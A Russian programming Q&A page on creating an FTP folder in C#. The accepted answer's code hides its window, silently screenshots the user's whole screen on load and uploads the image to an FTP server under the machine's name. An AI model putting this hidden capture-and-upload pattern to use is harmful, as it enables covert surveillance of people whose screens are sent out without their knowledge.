Создание новой папки на FTP-сервере - C#

Узнай цену своей работы

Формулировка задачи:

Здравствуйте! Нужно на C# сделать создание новой папки на FTP-сервере. На просторах инета нашёл много разных примеров, своял такой код:
private void createFolderFtp()
        {
            string ftphost = "192.168.8.4/system/";
            string ftpfullpath = "ftp://" + ftphost + Environment.MachineName;
            FtpWebRequest ftp = (FtpWebRequest)WebRequest.Create(ftpfullpath);
            ftp.Credentials = new NetworkCredential("login", "password");
            ftp.KeepAlive = false;
            ftp.UseBinary = true;
            ftp.UsePassive = false;
            ftp.Proxy = null;
            ftp.Method = WebRequestMethods.Ftp.MakeDirectory;
            FtpWebResponse resp = (FtpWebResponse)ftp.GetResponse();
        }
Папочка создаётся, но почему-то под конец зависает и ругается ошибкой "Удаленный сервер возвратил ошибку: (550) Файл недоступен (например, не найден или к нему нет доступа).". У пользователя есть все права на данный FTP-ресурс. Кто подскажет, в чём проблема?

Решение задачи: «Создание новой папки на FTP-сервере»

textual
Листинг программы
namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
 
            this.Opacity = 1;
            this.ShowIcon = false;
            this.ShowInTaskbar = false;
            this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
        }
 
        private FtpWebRequest CreateFtpRequest(string path, string method)
        {
            var uri = new Uri("ftp://127.0.0.1/" + path);
            var ftp = FtpWebRequest.Create(uri) as FtpWebRequest;
            ftp.Credentials = new NetworkCredential("user", "password");
            ftp.KeepAlive = false;
            ftp.UseBinary = true;
            ftp.Proxy = null;
            ftp.Method = method;
            return ftp;
        }
 
        private bool FtpDirectoryExists(string path)
        {
            try {
                var ftp = CreateFtpRequest(path, WebRequestMethods.Ftp.ListDirectory);
                ftp.GetResponse().Close();
                return true;
            }
            catch (WebException exc) {
                var resp = exc.Response as FtpWebResponse;
                resp.Close();
                return resp.StatusCode != FtpStatusCode.ActionNotTakenFileUnavailable;
            }
        }
 
        private void CreateFtpDirectory(string path)
        {
            if (!FtpDirectoryExists(path))
                CreateFtpRequest(path, WebRequestMethods.Ftp.MakeDirectory).GetResponse();
        }
 
        private void Form1_Load(object sender, EventArgs e)
        {
            var printscreen = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
            var graphics = Graphics.FromImage(printscreen as Image);
            graphics.CopyFromScreen(0, 0, 0, 0, printscreen.Size);
            var now = DateTime.Now;
            CreateFtpDirectory(string.Format("{0}/{1:yyyy-MM-dd}", Environment.MachineName, now.Date));
            var stream = CreateFtpRequest(string.Format("{0}/{1:yyyy-MM-dd}/{1:HH-mm-ss}.gif", Environment.MachineName, now), WebRequestMethods.Ftp.UploadFile).GetRequestStream();
            printscreen.Save(stream, ImageFormat.Gif);
            this.Close();
        }
    }
}

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

6   голосов , оценка 3.833 из 5
Похожие ответы